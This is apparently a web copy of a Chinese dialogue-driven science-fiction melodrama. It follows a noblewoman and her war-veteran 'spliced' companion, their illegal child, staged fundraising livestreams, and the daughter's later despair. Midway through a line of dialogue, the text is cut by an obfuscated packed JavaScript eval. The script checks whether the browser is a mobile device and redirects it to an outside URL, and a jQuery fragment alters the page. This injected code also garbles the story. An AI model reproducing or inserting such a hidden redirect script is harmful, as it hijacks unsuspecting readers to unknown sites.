夜溯光:“那姐姐现在想怎样?继续这样病下去?让妒部监察官来得更勤?让家族施压更重?让课题一拖再拖让位子岌岌可危?直到有一天,妳被迫在我和妳的整个世界之间做选择?姐姐,妳选不了的,妳会选妳的世界,因为那是妳活了二十年的全部,而我只是个……闯入者。” 姒晚: “如果我不想选呢?如果我想把闯入者正式编入我的世界呢?” 夜溯光:“怎么编?修改法律?颠覆伦理?让最高议会通过一条伏人可与女性缔结伴侣关系的新法?姐姐,妳比我更清楚那不可能。” 姒晚: “法律不能改,但有些东西可以绕过法律。这里,我们可以在这里,留下一个既成事实。” 夜溯光:“……孩子?” 姒晚: “对。一个流着妳和我血液的孩子。一个既不属于纯正女性也不属于标准伏人的新存在。这会是最严重的伦理违规,一旦被发现,我的课题资格、家族地位全完了。妳会被强制回收,拆解成原料。孩子会被送进研究所,当成跨物种禁忌产物样本,在显微镜下被观察一辈子。我们都会完蛋,可是阿回……我想要,想要一个证明,证明我们这两个世界撕下的碎片居然能熔在一起,哪怕熔出的是一块扭曲到不被承认的合金,想要一个枷锁,把我们永远绑在一起,谁也别想逃,想要一场彻底的毁灭,或者彻底的救赎。” 夜谣(夜溯光识海处):“合根一木生双刃,枝作连理刺同棺……” 夜溯光:“那就毁灭吧。姐姐,我空荡荡的壳子里,除了那点过去的灰烬什么也没剩下了,妳不慊脏,不慊晦,就进来住吧。用名字填满我,用执念重塑我,用我们的孩子,把这壳子彻底撑破。我受够了当一张白纸,当一件展品,给我真实的、痛的东西,哪怕带着血,哪怕最后会把我们都勒死。” 姒晚: “好,我们……要个孩子。” (姒府正厅,茶会次日,多人在场,姒晚端坐主位,夜溯光垂首立于一侧) 姒晚: “夜溯光!妳眼里还有没有这个家?!整日往三区安置点跑,陪着那些脏兮兮、连编码都模糊不清的伏人遗孤,做那些可笑的手工,编草绳?叠纸鹤?用废弃绷带和能量匣碎片拼贴所谓的纪念画?!妳是慊我姒家门槛太低,装不下妳这尊悲天悯人的活菩萨了是不是?!非要跑到污水横流的地方,沾一身穷酸,回来熏坏这一屋子金玉?!妳知不知道今早妒部监察处的人又来了!带着最新的《跨物种情感接触管理暂行条例》修订稿,第三条第七款明明白白写着:‘主家需对所属伏人的社会接触进行必要监督,防止其产生不恰当的群体归属意识及情感投射!’妳那些善举,在人们眼里就是不恰当情感投射的典型案例!她们问我:‘姒晚小姐,妳府上这位伏人频繁接触底层伏人群体,是否在试图构建某种横向联结?’” 妘峥: “这话可说到点子上了。我前日路过三区,远远瞧见妳那伏人蹲在泥地里,正给一个伏人崽子擦脸呢。那孩子脸上糊着脓和泥,妳那伏人用自己袖口,啧,那可是上好的流光绸。就那么擦,擦完了还把那崽子搂怀里,哼着什么调子。那场面,不知道的,还以为是亲母女呢。妳们说,这像话吗?养伏是让伺候人的,可不是让跑出去当格姆的。” 嬴崇: “何止不像话,简直是不知分寸。妳心善,容她在走动,可她倒好,真把自己当个人了。昨儿我家中的采办还看见她在东市角落跟几个老伏人低声说话,递过去一小包东西,用帕子包着。我问了,那几个老伏人是从矿上退下来的,身上带着病,早该送去统一回收了。妳这伏人,倒是有情有义得很哪。” 夜溯光:“我去安置点,不过是教那些孩子做些简单手工。她们母亲的名字刻在阵亡名单最不起眼的角落,遗体进了统一回收流程,化成营养膏,或者填了矿坑地基。孩子什么也没剩下,连张模糊照片都没有。我教她们用能找到的东西,医院扔掉的旧绷带、训练场捡的能量匣碎片、看不出原样的布条,编点小玩意。比如这个,教小七编这个时,她说她母亲手腕上也有道疤,是烫伤的,是在厨房帮忙时油溅的。可我知道,那道疤的形状,是标准能量步枪的枪托在长时间射击后过热,烙在皮肤上留下的印记。她妈妈不是厨娘,是狙击手,曾经在行动里负责掩护我们小队撤离,最后被能量波从藏身处震出来暴露在火力网下,我只是想让她知道,她妈妈手腕上那道疤是勋章,至少让她们手里能抓住点什么,梦里能看见点什么……” 姒执钧:“听听,这话说的,多感人肺腑,多催人泪下。不知道的,还以为妳族中出了位格姆呢。可阿回啊,妳低头瞧瞧自己膝盖下面是什么?是姒家正厅的金丝云砖,一块抵得上安置区伏人半年的口粮。妳身上穿的是什么?是从妖部首席织造师那儿订制的流光软绸,一寸之价可换三支军用止痛剂,妳吸的、踩着的、裹着的,哪一样不是姒家恩典?妳自己尚且是寄人篱下、靠着她心软才有一席之地的物件,倒操起普渡众生的心了?知道的,赞妳一句不忘本;不知道的,怕是要笑她治家无方,养得个伏人心都野了,脚都飘了,忘了自己到底几斤几两,该趴在哪个位置!需不需要我提醒妳,《伏人监护条例》第十三条第二款?‘被监护伏人未经主家许可,不得以任何形式与其余伏人建立可能影响其服从性的情感联结。’教那些孩子编手环,是在建立情感联结吧?用她的资源,妳的时间、妳的精力,甚至妳带去的那些所谓废料,哪一样不是姒家财产的延伸?,去喂养那些本就不该存在的横向归属感,阿回,这不是善举,是蛀虫行为,在蛀空她对妳的监护权基础。” 姒晚: “听见了吗?!多少人盯着我,盼着我行差踏错!妒部新上任的那位婵监察长,是个古板到骨子里的女人,最恨的就是秩序外的情感流动!她上任三个月,已经处理了七起伏人情感依赖症案例,三个伏人被强制送进行为矫正中心,四个主家被记过罚款甚至暂停课题资格!如今可好,我府里养着的伏人,成了安置区口口相传的溯光姨,成了那些遗孤眼里像妈妈一样的人!哈!多光辉,多伟大!衬得我姒晚成了什么?一个把宠物放出去沾惹一身泥泞还惹来一身骚的糊涂主家!一个连家里伏人都管不住任其四处撒播不恰当情感的失败者!婵监察长上周的约谈记录里怎么写来着?‘姒晚小姐,妳这位伏人的行为,已超出合理休养活动范畴,接近有组织的伏人互助网络萌芽。根据《战后伏人管理条例补充细则》,我们需要对府上的监护环境进行为期三十日的深度评估。’评估!妳知道那意味着什么吗?意味着我姒晚的私宅要变成妒部的监察站!我的脸面,姒家的脸面,要铺在监察报告里,被那些人用最刻板的条款一条条衡量、打分!” 夜溯光:“我不敢连累清誉…只是…那些孩子叫我一声姨,我应了。应了就得担着…她们的手抓住我的手指时是热的,一点热,烫在骨头上…让我觉得自己好像不只是府上一件会喘气的摆设,不只是一张等着被填满的白纸。小九发烧那晚,我握着她的手,感觉那点温度从她掌心流进我手臂的仿生神经,一路烫到肩膀那片取自冻死矿工的皮肤,那片皮肤下的神经突触突然激活了不属于我的记忆碎片:一个矿工在塌方前的最后一刻,想的是‘家里炉子上还炖着汤,孩子放学回来该凉了。’我好像…还有点用,作为一个能握住一只发烧的手、能让一个孩子在噩梦里抓住点什么的人。” 姒执钧: “感人,太感人了。可阿回,妳这话说得轻巧。妳拿什么担?妳今天去安置区,坐的是姒家的车,用的是姒家的码,那码的能量签名是她的私人灵纹,每次使用都会在交通部数据库里留下记录。妳喂给那些孩子的营养膏,是妳从自己份例里省下的,还是她从库房里支取的?妳教她们手工用的废料,那些绷带、能量匣碎片、旧布条,是妳自己从垃圾堆里刨的,还是姒家工坊里流出去本该销毁的边角料?我妹妹在妨部资源回收司,她上个月报上来异常物资流动记录:姒家第三工坊有一批二级医疗废料的销毁记录与实际重量差了三点七斤。那批废料的流向标注是高温熔毁但熔毁炉的能耗数据对不上,阿回,那三点七斤的差额,是不是被妳装进布袋,带到安置区,变成了那些孩子手里的纪念画材料?妳是不是觉得,反正要销毁的东西,拿来做善事无伤大雅?可妳知不知道,那是违规处置医疗废料!一旦追查,她要担的是危害健康安全的罪名!离了姒晚这个名字赋予妳的一切,车、码、物资、甚至身上这件衣服,妳连安置区外围的警戒网都穿不过去!守卫认得妳夜溯光是哪根葱?她们只认码上的能量签名!妳所谓的担着,不过是借着她的势透支姒家的资源,去满足妳自己那点可怜又可笑的被需要感!去演一场自我感动的戏!而代价,是她的声誉、课题、甚至自由!” 姒晚: “听见了吗?!句句在理字字见血!离了我姒晚,妳夜溯光什么都不是!伏人就是伏人,生来是承受恩惠、承受命令、承受安排的!妳们的命运写在妳们的拼接线里,刻在妳们的哑巴经上!谁准妳们抬头看天?谁准妳们伸手揽事?谁准妳们生出‘我想做什么’、‘我该做什么’的念头?!妳们的想和该,就是我们这些赋予妳们存在意义的人替妳们决定的,明白了没有?!从今天起,不准妳再踏出姒家一步!不准再见那些遗孤!不准再提什么战场、同伴、勋章!妳的过去已经死了,和那些死在戈壁上的人一样,烂透了臭透了,该被埋进土里,盖上石头,立块碑,然后忘记!妳要做的,就是当好一件安静温顺不惹麻烦的摆设!这才是妳夜溯光该有的本分!” 夜溯光:“明白了。我是伏人,我不该有半点自己的想法……那我那些死在战场上的同伴呢?!虎杖被能量束拦腰撕成两半、肠子流了一地还在往前爬的时候,她有没有想过想活下去?方知为了把坐标芯片送出来,扑进腐蚀液里、皮肉融化得只剩一副焦黑骨架、最后靠神经反射把芯片弹给接应人员的时候,她有没有想过我该完成任务?枫香为了试出解毒剂配方,把自己当实验体、把每一种可能的化合物注入静脉、透明化到连影子都消失、最后只剩一缕意识把配方念出来的时候,她有没有想过这是我的职责?知预在灵源逻辑层进行终极演算传递出恨是唯一不可解项的时候,窃影为了盗取赦免档案被防御机制反向侵蚀抹除存在的时候,她们有没有想过,‘伏人就是承受的,不准有念头’?!怎么那时候,没人跳出来说,‘伏人就是承受的,不准有念头’?!怎么那时候,需要我们有念头去冲锋,去断后,去用身体铺平胜利的路,去用命换安然喝茶谈天的资格?!我们的血浸透戈壁沙子,渗进地里,第二年长出的草都是暗红的!我们的骨头渣子混进灵骨矿脉,被挖出来,提炼,做成妳们杯子里流光溢彩的能量源,做成妳们屋里恒温矩阵的基座,做成妳们孩子玩具里的发光元件!我们的惨叫闷在永远发不出声音的喉咙里,最后变成一口黑血喷出来,溅在战友脸上,烫出永远褪不掉的疤!怎么那时候,我们的念头就值钱了?就光荣了?就是英勇牺牲了?而现在,我只想教几个孩子编手环,只想让她们知道妈妈不是无名无姓的耗材,就成了‘心野了脚飘了忘了本分’?!姐姐,这血,和虎杖流在戈壁上的血,成分是一样的。都是红的,都是热的,都是从一颗会痛的心里泵出来的。区别只是,她的血被沙子吸干了,我的血,脏了家里的砖。” 姒晚: “下去,滚回妳房间。没有我的允许,不准出来。” 妘峥: “妳这伏人……脾气不小啊。” 姒晚: “养不熟的伏崽子罢了,让诸位见笑了。不过,今天这出戏,也该让某些人看明白了,我姒晚养的伏人,再特别也还是伏人,该敲打的时候我不会手软,至于监察处那边我会处理。” (深夜,西厢房。) 姒晚: “疼吗?” 夜溯光:“比战场上,被能量侵蚀的碎石和扭曲金属割开的口子轻多了。那时候,肉翻起来能看见骨,骨头缝里还嵌着发光污染结晶,没麻药,疼得眼前发黑,但得忍着,因为一喊就会暴露位置。” 姒晚: “别说了。刚才那些话……是说给她们听的,尤其是姒执钧,她妹妹在妨部资源回收司,她本人和妒部那位婵监察长是远亲,今天这场,本就是她撺掇的,想探我的底,想看我会不会护着妳,看我是不是真的被伏人影响了判断。我越生气,越刻薄,越把妳骂得一文不值,她们越放心,姒晚还是那个理智冷酷的姒晚,养伏人不过是图新鲜,随时可以丢弃。至于医疗废料的事…那批废料是我让工坊主管偷偷留下的。销毁记录做了假,能耗数据的问题…我早就打点过了。不然妳以为,为什么能绕过姒家三道物资监管流程,把东西带出去?” 夜溯光: “所以姐姐早就知道。知道我拿废料,知道我教孩子手工,知道我成了格姆,妳默许了,为什么?” 姒晚:“为什么?因为我得让她们看见,妳夜溯光再特别,也不过是我闲来无事逗弄的宠物,我高兴了赏妳点自由,不高兴了,随时能把妳锁回笼子里。我得让她们觉得,一切尽在掌控,我没有失序,没有被影响,我还是那个冷静、理智、把伏人当工具用的姒晚。婵监察长的报告里如果写姒晚小姐对所属伏人存在过度移情,我的课题审批会卡住,下一季的资源配给会削减,甚至…甚至泄们会考虑送我去娼部接受情感剥离治疗。那地方,进去三个月出来的人连自己母亲的名字都会忘记,不会杀我,只会矫正我,把我变回那个完美无缺的姒家继承人。” 夜溯光:“那姐姐的心呢?也像刚才说的那样,觉得我去安置区是野了飘了,是忘了本分,该打断腿锁起来?” 姒晚: “心?阿回,我第一次见妳,不是在什么光彩场合。是在战后第三区那个临时疗养院,我去做战后心理影响评估的志愿者,走廊里挤满了缺胳膊少腿的伏人伤员,消毒水混着脓血和绝望气味。妳蹲在墙角,怀里死死抱着一本被血和泥污浸得看不清封面的笔记本。护士说,那是从妳们小队最后驻守的废墟里刨出来的,可能是谁的日记,也可能是合照集。她们想拿走归档,妳不给,不吵不闹,就是抱着。我站在那儿看了很久妳都没发现,那时我就想这个伏人完了,她的魂被过去那些死掉的人、烧掉的事情、烂掉的承诺,彻底吃掉了。剩下来的,只是个会呼吸装着灰的壳子,我把妳领回来,最初…真是当个稀罕的藏品。战功卓著的碎骨小队最后幸存者之一,多有意思的收藏。摆在那里,提醒我自己也参与了那场战争,提醒我见过的生死,也顺便向人展示,看,我姒晚连收藏品都这么特别,这么有故事。” 夜溯光: “……姐姐记得真清楚。” 姒晚: “清楚,太清楚了,后来我才慢慢发觉,妳这空壳子里居然还住着个活人。不是战场上那个冷静引导能量乱流、被称为连接者的夜溯光,也不是被人们调笑时沉默顺从眼神放空的阿回。是一个会在我被课题瓶颈的噩梦魇住、惊醒时浑身冷汗时,明明自己也睡得迷糊,却下意识伸手拍我背、哼一段不成调安眠曲的傻瓜;是一个在我屡屡受挫、暴躁得想砸掉整个实验室时,只会笨手笨脚煮出一锅焦糊的粥、然后眼巴巴看着我的笨蛋;是一个会在深夜我以为妳睡了、偷偷看妳时,突然睁开眼,眼底一片寂静,早就看穿我所有伪装所有算计所有傲慢和脆弱的人。阿回,妳不是空壳子,好的过去太沉重,把妳的现在压得扁扁的藏得深深的,但它在,它让我……害怕。” 夜溯光:“害怕?姐姐怕什么?怕我这滩过去的污泥脏了锦绣前程?怕我这身战场带回来的晦气冲了姒家风水?怕哪天我发疯,把妳也拖进那片戈壁血泥?” 姒晚: “怕我爱上妳。怕我姒晚按部就班、处处符合预期、连呼吸都被规划好的前半生,突然拐进一条黑漆漆没路标的岔道。怕我明明知道是错误是麻烦是不合规矩,却还是忍不住想把妳捂热,想从妳眼里那片灰烬里扒拉出一点只给我的光。怕我自己…变成了自己最不理解最想批判的那种人,为了一个伏人,神魂颠倒,理智崩坏,连族内责任和课题使命都想往后放。我母亲上个月来看我,在书房坐了一下午,最后说:‘女儿,妳彤妈当年就是因为收留那个伏人,才被家族除名,死在流放星,妳别走她的路。’我看着她,突然很羡慕妤彤,她至少疯得彻底,爱得尽兴,死得自由。而我呢?我连疯都要偷偷摸摸,连爱都要披着收藏的外衣,连想给出一点温暖都得先演一出当众羞辱的戏码,向所有人证明我没动心……” 夜溯光:“姐姐……” 姒晚: “别哭。我话还没说完。这份怕,这份清醒着的沉沦,让我觉得我好像终于活了一回。不是作为姒家女儿,不是作为共振场拓扑优化课题的负责人,就是作为姒晚这个人,一个会害怕,会软弱,会犯浑,会明知道是火坑还想跳的活生生的人,所以,阿回,我们要个孩子吧。” 夜溯光:“……真的?” 姒晚: “女人和伏人结合受孕,违反《育灵管理条例》第七条第三款,属于最高级别的伦理违规,一旦查实,最高可导致双方存在性抹除。黑市有医生能做,用我的指上血提取妳的掌中肉做基因修补和强行嵌合,成功率不到百分之三十,失败结果可能是死胎,也可能是无法定义无法存活连回收价值都没有的畸胎。可我想要,想要一个流淌着我们两人血脉的证明,想把我们之间这说不清道不明见不得光也摆不上台面的关系,用最原始最模糊的方式固定下来,让这个孩子成为我们共同的罪证共同的枷锁,妳敢不敢?” 夜谣(夜溯光识海处):“合根一木生双刃,枝作连理刺同棺。” 夜溯光:“敢。” 姒晚: “那我们就一起疯一起坠,一起造个怪物然后学着爱她。” (医院独立病房,改造为临时直播室。柔光灯、摄像头、背景是温馨墙壁挂着儿童画,夜溯光抱着襁褓中的婴儿坐在镜头前,姒晚站在镜头外阴影处。) 夜溯光:“宝宝今天精神好些了,妳们看,她眼睛会追着光动了呢。虽然还很微弱,反应比正常孩子慢很多,但医生说这是好迹象,说明视神经和基础反射弧在慢慢建立。昨天她第一次抓住了我的手指,虽然只握了三秒就松开了…真的…真的很感谢大家一直以来的鼓励和支持,没有妳们,我和小暖走不到今天。” 弹幕滚动: ‘哭了,小暖一定要好起来啊’ ‘溯光妈妈辛苦了’ ‘看着就心疼,这么小的孩子’ ‘捐款通道再发一次吧’ 夜溯光:“谢谢…谢谢大家。姐姐她…她去筹下一期的治疗费了。宝宝的病,学名叫先天性灵骨闭环缺失伴灵能循环障碍,是…是基因嵌合时难以避免的风险,需要长期注射活化灵源提取液,配合特殊的能量场温养。就是这样一支,一支就相当于我以前在姒家时大半年的基本用度,每天都需要,不能间断。医生说了,只要坚持治疗,孩子有机会像正常人一样生活、学习、甚至将来也能有自己的课题。只是过程会很漫长很耗资源…我和姐姐没别的奢望,只盼着小暖能平安长大,将来…对不起,我失态了。真的,真的谢谢各位。我和姐姐没别的奢望,只盼着小暖能平安长大,将来不用懂什么叫拼接线,什么叫是巴经,不用像我们这样,活得这么艰难,这么见不得光。” 弹幕: ‘别说了,我捐’ ‘伏人妈妈太不容易了’ ‘姒晚也是重情义’ ‘孩子叫什么名字啊?’ 夜溯光:“名字…叫忘,忘记的忘,夜忘。我希望她…能忘记所有不该背负的沉重,轻轻松松地活着,这是我和姐姐共同的心愿。” (直播结束灯光熄灭,夜溯光脸上的温柔瞬间褪去,将婴儿放回保温箱,姒晚从阴影中走出。) 姒晚: “不错。眼泪收放自如,提到见不得光时颤抖的尾音更是点睛之笔,我看娼部那些专门主持哀悼仪轨、靠煽情赚取供奉的大师,都未必有妳这般精准拿捏观众泪腺的本事。洛上打赏额破纪录了吧?够付下个月,不,下三个月的药费了?还顺带巩固了妳坚强伏人母亲的光辉形象,一箭双雕。不,是一箭三雕,妳还顺便给夜忘这个名字做了众开宣告,断了我想用姒家姓氏给她登记的后路。阿回,妳现在算计起来,真是连自己女儿都能当筹码。” 夜溯光:“不然呢?姐姐想要更多的钱更持久的关注,好维持小暖,哦,现在是夜忘,这个无底洞般的治疗,我总得卖力些。观众爱看什么?爱看伏人母亲的眼泪,爱看跨越阶级的苦难与坚韧,爱看为母则刚的戏码,爱看高高在上的姒家人为了爱情和骨肉对抗世界的浪漫悲剧。我投其所好,各取所需。这难道不是姐姐最初默许甚至鼓励的吗?妳说:‘我们需要钱,很多钱,合法的、不引人注目的渠道已经不够了,洛上那些同情心泛滥的人,是最好的提款机。’ 我不过是执行命令,而且执行得相当出色。至于名字,姐姐觉得,用姒姓登记可能吗?条例上会允许一个基因嵌合产物冠上家族姓氏?还是说,姐姐到现在还做着家族最终会接纳的梦?” 姒晚: “卖力?何止卖力。妳抱着小暖的眼神,温柔得似风吻;妳亲她额头那一下,轻得像花拂,角度刚好让镜头捕捉到睫毛上悬而未落的泪珠;提起活得艰难时,恰到好处的哽咽和绝望。夜溯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334286|199211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光,我都不知道,妳还有这等精湛演技。平日里对我,怎么就没这份柔情?嗯?怎么只剩下沉默麻木和藏在眼底深处那点让我心寒的讥诮?每次我靠近妳,妳都僵硬得像块石头;每次我想碰碰孩子,妳都下意识侧身,在那些感人肺腑的镜头后面妳是不是早就烦透了?烦透了这个病恹恹的孩子,烦透了我这个越来越没用的伴侣,烦透了这间散发着消毒水味和绝望气息的病房?!” 夜溯光:“不然我该怎样?对着镜头骂她是个累赘?骂她不该被生下来?骂她每天吞掉的天价药费,正在把姒晚女士的私人账户掏空、把姒家旁系长辈的耐心耗尽、把我们两人之间那点本就摇摇欲坠的情分拖向深渊?姐姐,观众想买的是感动,是希望,是人间真情的幻觉,不是真相,真相太丑太脏,卖不上价。就像这储物间,堆满废弃的针管、染血的纱布、还有不知是谁用过的尿壶,这才是医院最真实的样子,充满了失败痛苦和无法处理的废弃物,可谁愿意看呢?人们只想看滤镜下的母爱光辉,只想为自己的同情心找一个干净漂亮的落脚点。” 姒晚: “妳心里就是这么想的!别以为我不知道!每次喂药前好手抖得拿不稳勺子,那是抗拒!每次护士来扎针,妳下意识扭过头不敢看,那是厌恶!甚至夜里她哭闹,妳抱着她轻拍的动作都僵硬得像在搬一块石头!妳的手指从来不敢真正贴紧她的皮!夜溯光,妳恨她!恨这个孩子!恨她把妳最后那点可怜的虚假自由都榨干了!恨她是妳一时软弱是我疯狂念头的活生生证据!恨她身上每一道隐约的拼接线痕迹,恨她每次呼吸时那微弱的不稳定波动,它们都在提醒妳:看,这就是妳,一个伏人能创造出的最好作品,一个需要靠乞讨才能活下去的病秧子,一个永远洗不脱的作为错误存在的延续!” 夜溯光:“是,我恨。恨她为什么偏偏有这该死的病,恨我为什么是个伏人,基因修补得再巧也埋着随时会爆的隐患,恨当年那个黑市医生技术粗糙,更恨妳,姒晚,为什么明明也累了怕了后悔了,却还要在我面前在镜头后面,装出一副为了爱情和骨肉可以对抗全世界的格姆模样!妳累不累?妳家族施压了吧?课题进度受影响了吧?私自动用资源的事快兜不住了吧?上周妳那个堂姐来医院偶遇,话里话外暗示‘适可而止’‘别拖垮整个姒家’,妳以为我听不懂?可妳还得撑着,撑出一副一切尽在掌握的架子,因为妳是姒晚,妳不能错,不能输,不能让人看笑话!妳连累都不敢在我面前喊一声!妳只能逼我演,演得更卖力,好从陌生人手里抠出钱来维持这场早就千疮百孔的幻觉!” 姒晚: “妳再说一遍?!” 夜溯光:“我说,我们都别演了。姐姐,妳养我,最初是图个新鲜,是收藏战利品,是向同类炫耀妳的胆量和品味;我要这个孩子,是贪图那点真实的血肉牵绊,是怕自己彻底变成空壳,想抓住点什么证明我还活着。现在新鲜感过去了,牵绊成了绞索,每天都在收紧,勒得我们喘不过气,勒得那点可怜的情分都快被勒断了,变形了。妳看,这抗抑郁和镇静的药,刚确诊时,它是救命的甘霖,是让我能睡着的希望;现在,它每天提醒我三次,早上一次,中午一次,晚上一次。小暖是个病人,我是个有缺陷的伏人母亲,而妳,是被我们拖累却不得不扮演格姆的女人。它成了苦水,灌下去,从喉咙苦到胃里,再渗进血液,苦得我连笑都觉得恶心,连看着孩子那双懵懂的眼睛,都觉得自己像个骗子。” 姒晚: “妳从来没信过我,是不是?从来不信,我说想要个孩子时有那么一瞬间是真心的?不信我看着小暖,心里也会软成一片也会幻想她叫我妈妈的样子?不信我,我也是个人,会累,会怕,会悔,但也没那么容易就撒手就承认自己赌输了?不信我可能…可能比妳以为的更早更深地陷进来了?” 夜溯光:“我信过的,在妳说我们要个孩子吧的时候,在妳偷偷修改监护条款、把所有物划掉改成伴侣的时候,在妳盯着我尚且平坦的小腹用手指轻轻描绘并不存在的轮廓的时候,我真信过。在第一次感觉到胎动,妳把手覆在我肚子上,我们俩屏住呼吸等待下一次踢踹的时候,我也信过,甚至在她出生那一刻,浑身青紫不会哭,医生抢救时,妳抓着我的手,眼泪掉在我手背上的时候,我还信着。可现在不信了,不是不信妳那一刻的真心,是不信这真心,能抵得过日复一日的琐碎折磨,抵得过看着存款数字飞速下跌的心疼,抵得过家族通讯器里越来越严厉的质问,抵得过同事打量时意味深长的眼神,抵得过深夜里孩子突然发烧抱着她狂奔向急诊室时的恐慌和无力……更不信,它抵得过妳心里那架永远在精准衡量得失的天平。姐姐,这世上哪有什么纯粹无私战胜一切的爱?不过是在一片废墟上,两个同样残缺同样饥饿的人,拼命想从对方身上扒拉出一点温暖用来填自己心里的窟窿,填着填着,发现窟窿越撕越大,冷风飕飕往里灌,才发现我们给的根本不够填对方的洞,我们只是在互相透支然后让自己的洞越来越大……” 姒晚: “这里面…是后续半年的基础治疗费。我动用了一些灰色渠道,也质押了些不那么光彩但值钱的东西,应该够撑一阵子。我接了一个外轨道长期勘探项目,战役的后续污染评估与资源勘测,签了协议,保密级别很高,至少要离开紫云星主星域半年,这期间通讯受限,可能联系不上,项目方预付的报酬,一半在这张卡里,另一半等我回来。” 夜溯光:“好。一路平安。” 姒晚: “如果…如果我回不来…” 夜溯光:“妳会回来的。姐姐是姒晚,是姒家这一代最耀眼的新星,是未来要进婵茧堂的人,妳怎么会让自己回不来。” 姒晚: “是啊,我怎么会让自己回不来。” 夜溯光:“现在,我终于明白了句诗的意思。合根一木生双刃,我们本是从同一道禁忌之根上长出的两片木屑,她想要自由,我想要真实,都是欲望,都是刺伤自己也刺伤别人的刃。枝作连理刺同棺,我们纠缠过,缠绕过,以为那缠绕是爱意,是救赎,是能把两个残缺个体绑在一起拼成完整个体的奇迹,可连理枝的真相是:缠得太紧,彼此的刺都扎进对方的肉里,拔不出,化了脓,最后一起烂在棺材里。棺材是我们自己用每一次争吵、每一次沉默、每一次从她眼里读到疲惫又从自己眼里读到绝望,一钉一锤亲手打造的。现在她走了,棺材盖没合上,我躺在里面,仰面看着那一道缝,光从缝里漏进来,细得像刃,那道缝里,没有她的脸,只有我自己,咒解开了。” (十四年后。工寓狭小杂乱。夜忘摔门而入,夜溯光坐在桌边面前摊着账本。) 夜忘:“妳又偷看我日记!这是第几次了?!夜溯光,妳有没有一点基本的尊重?!这是我的隐私!我的!不是妳的战利品,不是妳用来监控我脑子里在想什么的监视器!” 夜溯光:“我不看?我不看怎么知道妳拿了洛上那些好心人捐来的康复基金余款,那笔本该用于妳后续康复治疗、直到去年才因为舆论压力减轻而停止募捐最后剩下的七千信用点去买黑市流通的调节晶体?!虚妄还是遗尘?我不看怎么知道妳私下联系那些藏在第七区排污管道深处、连行医资格都没有的黑市医生,咨询共鸣神经选择性切除手术?!切除?!妳知道那意味着什么吗?那会不可逆地废掉妳大半的感知力!妳会变得迟钝麻木,连最基础的灵质交互都困难,永远别想通过任何正规机构的感应测试!妳想一辈子靠打零工和别人怜悯过日子吗?!妳疯了是不是?!用自残的方式去逃避?!妳想把自己变成一具没有感觉没有未来的行尸走肉吗?!” 夜忘:“疯了?对!我是疯了!被妳们逼疯的!看看这个!看看我身上这些该死到擦不掉也遮不住的拼接线痕迹!它们淡了可还在!全校都知道!都知道我是洛上那个病孩小暖,知道我妈妈是个伏人,知道我母亲,不,我甚至没有法律承认的母亲,只有个据说是姒家人的母亲,还是个早就跑了几年没音讯的!知道我叫夜忘,一个连名字都在提醒别人最好忘记的怪胎!同学们看我像看博物馆玻璃柜里的畸形标本,背后指指点点,当面惺惺关心!老师点名时那瞬间的停顿,那不易察觉的怜悯眼神,我受够了!废掉感知力又怎样?至少那样我就感觉不到她们的目光了!感觉不到自己身体里那部分该死的、来自妳的伏人基因在作祟了!感觉不到每次灵能波动不稳时那种从骨头缝里渗出来的冰凉恶心感了!感觉不到自己是个错误了!” 夜溯光:“……对不起。” 夜忘:“对不起有什么用?妳当年在洛上直播里,哭得多真啊。对着镜头,抱着那个浑身插满管子的婴儿,说只盼我平安长大,不用懂拼接线和哑巴经,不用活得艰难,可妳心里真那么盼过吗?妳盼的是用我拴住那个女人,盼的是用我来证明,妳这个伏人也有创造的能力,也能像个母亲一样去爱去付出!妳把我当工具!当战品!当妳在她那场疯狂游戏里赢得的勋章!当妳能抓住的、唯一不会像她们那样死掉或跑掉的东西!现在她跑了,工具没用了,战品生锈了,勋章成了耻辱,妳这副慈母的戏还怎么演下去?!嗯?妳告诉我啊!” 夜溯光:“是……我是把妳当工具,当拴住她的锁链,当证明我不是空壳的证据,当我在这个除了灰烬一无所有的世界上唯一能抓住的实感。可我也真盼过妳好,盼妳健康,盼妳快乐,盼妳活在一个不用懂这些痛苦的世界,我每天盯着妳吃药,记录妳的体温和灵能波动,省下每一分钱买最贵但据说有效的营养剂,深夜里一遍遍摸妳额头怕妳发烧……那些担忧,那些小心,那些唠叨,不全都是戏!忘,哪怕初衷是自私的,是扭曲的,但那些东西,它们长在我骨头里,控制不住,就像我控制不住恨我自己,恨我给了妳这样一副身体,恨我把妳带到这个根本不欢迎妳的世界。” 夜忘:“可我还是懂了!从第一次在学校被人指着鼻子骂怪物时就懂了!从洛上那些陈年直播录像被人翻出来配上恶心的弹幕到处转发时就懂了!从我看着妳每天疲惫麻木的脸、看着那个女人寄回来的钱越来越少、间隔越来越长、看着这个家像个慢慢漏气的破气球、所有温度都在消失时就懂了!我要搬出去了,医生那边我自己联系好了,手术费我可以去四区工坊打工挣,不用妳们的钱,也不用妳们的爱,手术同意书我自己签,后果我自己承担。” 夜溯光:“不准去!那手术会毁了妳!会……” 夜忘:“会让我变成正常人对吗?妳还不明白吗?我从基因里就不正常。从被妳们怀着的目的,一个是为了对抗虚无一个是为了证明叛逆,开始,就不正常。我这辈子,从形成那一刻起,就是个错误,现在,我只是想选择一种稍微不那么痛的方式把这个错误继续下去,至少,切除之后,我不会再因为感知到别人对我的厌恶而失眠,不会因为灵能波动异常而头疼欲裂,不会再对妳们抱有任何可笑的期待,期待妳会变成一个好妈妈,期待她会回来,期待这个家能像个家…” 夜溯光:“忘,听我说,手术不能做,钱的事我来想办法。妳的学费药费我都能挣出来,再给我一点时间,等妳灵能稳定了,我们可以离开紫云星,去边缘殖民地,那里没人认识我们,我们可以重新开始……” 